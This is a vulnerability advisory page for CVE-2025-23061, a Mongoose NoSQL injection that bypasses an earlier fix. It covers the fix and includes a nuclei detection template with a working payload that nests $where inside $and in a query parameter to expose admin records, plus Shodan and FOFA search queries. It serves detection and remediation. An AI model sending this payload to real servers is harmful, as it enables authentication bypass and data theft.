HexBrain

Browse / CVEs / CVE-2025-23061

CVE-2025-23061· CWE-94

Mongoose - NoSQL Injection

criticalseverity
9CVSS score
7.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.

Impact

Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.

Fix

Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.

How to confirm it

Send: GET {{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}
Positive when: contains "\"isAdmin\":true" and "\"title\":" and "\"username\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-23061 -u <target>

The full check
id: CVE-2025-23061

info:
  name: Mongoose - NoSQL Injection
  author: NamhyunKo
  severity: critical
  description: |
    NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
  impact: |
    Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
  remediation: |
    Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
  reference:
    - https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
    - https://github.com/Automattic/mongoose/releases/tag/8.9.5
    - https://github.com/NamhyeonKo/mongoose-cve-lab
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-23061
    epss-score: 0.07236
    epss-percentile: 0.94379
    cwe-id: CWE-94
    cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Mongoose"
    fofa-query: title="Mongoose"
  tags: cve,cve2025,nosql,mongoose,nodejs,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"isAdmin":true'
          - '"title":'
          - '"username":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from